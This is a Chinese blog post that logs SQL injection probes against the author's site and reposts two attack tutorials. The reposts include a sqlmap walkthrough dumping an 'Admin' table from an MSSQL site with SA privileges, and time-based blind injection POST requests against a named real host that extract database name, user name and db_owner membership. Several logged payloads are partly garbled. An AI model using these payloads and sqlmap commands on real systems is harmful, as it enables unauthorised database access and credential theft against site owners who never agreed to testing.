网站被攻击扫描SQL注入的日常记录
我发了个博客,泄露了域名之后,便有人疯狂的尝试攻击我的站点,奈何我防守做得比较好,直接把网段封了,看到403还锲而不舍,我真是想给他颁奖了
查看ua,发现很多sqlmap的ua,肯定会是被刷了,只是运气比较好,没突破防守
日志记录里边出现这条,经过查阅,是注入攻击
%%3BSELECT%20PG_SLEEP%%
原文在这里
https://www.jianshu.com/p/267965649779
下一条
%28SELECT%20CHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2B%28SELECT%%28CASE%20WHEN%%%3D8745%%20THEN%20CHAR%%%20ELSE%20CHAR%%%20END%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%
相关资料在
原文在https://www.cnblogs.com/milantgh/p/4908812.html
发布者
sqlmap注入检测经验0x01
某日偶遇一SQLInjection Point,MSSQL ,已开启显错模式。
马上扔进SQLMap跑,一路顺畅,竟然还是SA的权限,心想运气真好,无论如何都拿定了。
数据库,表,列都列出来了,但是上–dump参数就死活跑不出来。
报错 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是马赛克哈:)
心想应该很容易搞定,遂查找手工注入方法,测试无果。
还是回到SQLMap,-h查看帮助,发现-v 参数可以指定输出详细度,开到-v ,发现显示了payload,一不做二不休,直接开到-v ,发现提供了整个http请求,怪不得报错,原来都是返回500,用firefox打开完整payload,说是语法错误。 Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29 显然是2012的问题,也就是应该是错把库名中的数字错当成参数了 在URL的库名加上双引号包裹,果然就可以爆出数据了。 问题又来了,要我手工爆数据我可搞不定,还是要回到SQLMap啊,意思是要想办法把库名包裹起来,不让系统把它解析成一个参数 XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’
这次好一点了,还是报错unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,但是库名不对。 XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218 –dump -D”[2012_xxxx]” -T’Admin’
我也不记得哪来的灵机一动,改用中括号包裹,果然就成功了,dump出整个表了。 XCONCLUSION:在使用SQLMap时可以使用-v参数指定输出详细度,然后直接用浏览器查看payload,确定语法错误点后想办法改进。在遇到系统误判库名表名是可用中括号包裹名字。
为避免原文删除,所以搬过来了
下一条
%28SELECT%%28CHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%%7C%7C%28SELECT%%28CASE%20WHEN%%%3D2244%%20THEN%%20ELSE%%20END%%%3A%3Atext%7C%7C%28CHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%%
下一条
%%20WAITFOR%20DELAY%%%3A0%3A5%%20AND%%27XsDx%%3D%27XsDx
原文地址http://www.91ri.org/4732.html
注入的基础知识就不说的了,只是在这里做个简单的笔记,以便之后拿起了就用。
Default
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: ASP.NET_SessionId=2k32d0nwvrzpbg55qucudt3b
Host: www.cunlide.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27%3b%20waitfor%20delay%20%270%3a0%3a5%27%20--%20
1
2
3
4
5
6
7
8
9
10
11
12
|
POST/card.aspx HTTP/1.1
Content-Length:96
Content-Type:application/x-www-form-urlencoded
X-Requested-With:XMLHttpRequest
Cookie:ASP.NET_SessionId=2k32d0nwvrzpbg55qucudt3b
Host:www.cunlide.com
Connection:Keep-alive
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/5.0(compatible;MSIE9.0;Windows NT6.1;WOW64;Trident/5.0)
Accept:*/*
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27%3b%20waitfor%20delay%20%270%3a0%3a5%27%20--%20
|
看POST数据,注入是发生在username这里。把username的值URL解码下这样比较清楚点。
Default
pxnjodhe'; waitfor delay '0:0:5' --
1
2
3
|
pxnjodhe%27%3b%20waitfor%20delay%20%270%3a0%3a5%27%20--%20
pxnjodhe'; waitfor delay '0:0:5'--
|
因为延时注入是通过页面返回的时间来判断的,所以当我进行猜解的时候也就是用时间来进行猜解,比如我们可以取出db_name的第一个字符,先转换 成ASCII在和数字进行比较(推荐使用<、>),在比较时我们可以用折半法,比如我们先猜解第一个字符是大写字母还是小写字母,就可以用 91来做个标准小于91的为大写字母(A-F,或许是_ 、-),大于则反。
下面两个语句为例子:
Default
//判断权限
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(db_name(),1,1)))>40%20waitfor%20delay%20%270:0:2%27%20--%20
//数据库名
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(user_name(),1,1)))>115%20waitfor%20delay%20%270:0:1%27%20--%20
//用户名
1
2
3
4
5
6
|
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if%20(0%3D(SELECT%20IS_MEMBER('db_owner')))%20waitfor%20delay%20%270:0:11%27%20--%20
//判断权限
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(db_name(),1,1)))>40%20waitfor%20delay%20%270:0:2%27%20--%20
//数据库名
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(user_name(),1,1)))>115%20waitfor%20delay%20%270:0:1%27%20--%20
//用户名
|
建议用时但编码状态出问题时,可以试试未编码状态。
原文没有图,防止失效,搬过来
下一条
%20UNION%20ALL%20SELECT%20NULL%2CNULL
这个查询结果就很多了,不再把文章拿过来
网站被攻击扫描SQL注入的日常记录的更多相关文章
- 网站如何防止sql注入攻击的解决办法
首先我们来了解下什么是SQL注入,SQL注入简单来讲就是将一些非法参数插入到网站数据库中去,执行一些sql命令,比如查询数据库的账号密码,数据库的版本,数据库服务器的IP等等的一些操作,sql注入是目 ...
- 谈谈PHP网站的防SQL注入
SQL(Structured Query Language)即结构化查询语言.SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页面请求参数的查询字符串中,在 Web表单向 Web 服务 ...
- discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复
2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- Pikachu靶场SQL注入刷题记录
数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 ...
- 网站入侵工具 SQL注入神器
0x 00 前言 SQLMAP 0x 01 注入原理 不说了 *****************************************结束分割线********** ...
- 网站SQL注入防御实战
SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的sc ...
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...
- 防止SQL注入攻击的一些方法小结
SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...
随机推荐
- Python基础笔记_变量类型
下面是W3C学习笔记 , , ) :] ]) :]) :]) :-]) :-]) ]) :]) :]) ) , , ]) :]) :]) ) , , , ]) :]) :]) ) ] = , ])) ...
- 系列文章:云原生Kubernetes日志落地方案
在Logging这块做了几年,最近1年来越来越多的同学来咨询如何为Kubernetes构建一个日志系统或者是来求助在这过程中遇到一系列问题如何解决,授人以鱼不如授人以渔,于是想把我们这些年积累的经验以 ...
- Composer环境混乱引起--Fatal error: Call to undefined method Fxp
Fatal error: Call to undefined method Fxp\Composer\AssetPlugin\Package\Version\V ersionParser::parse ...
- Docker系列(十):Kubernetes集群入门
kubenetes安装 官网:https://github.com/kubernetes/kubernetes/blob/release-1.0/docs/getting-started- guide ...
- Redis —yum安装全过程
访问 https://redis.io/download 官网,只看这一张图 一路执行完毕即安装成功,下面是执行过程图 看到显示redis的安装路径 接下来要配置下一些参数设置 https://www ...
- mongodb什么时候使用
转自:https://blog.csdn.net/justlpf/article/details/80392944 简介 MongoDB[1] 是一个基于分布式文件存储的数据库.由C 语言编写.旨在为 ...
- centos7.5安装公版mysql5.7.25
######### 卸载原来系统安装的包 # yum remove -y java cvs libselinux-devel postgresql mysql ecj jna sinjdoc 依赖包安 ...
- js匿名函数与闭包作用
http://www.jb51.net/article/79238.htm 1 闭包允许内层函数引用父函数中的变量,但是该变量是最终值 当mouseover事件调用监听函数时,首先在匿名函数( fun ...
- org.hibernate.service.spi.ServiceException: Unable to create requested service [org.hibernate.engine.jdbc.connections.spi.ConnectionProvider]
从hibernate3升级到4应该会遇到 应该添加引用 <!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-c3p0 ...
- KOA 学习(六)superAgent
原文地址 http://www.2cto.com/kf/201611/569080.html 基本请求 初始化一个请求可以通过调用request模块中适当的方法,然后使用.end()来发送请求,例如一 ...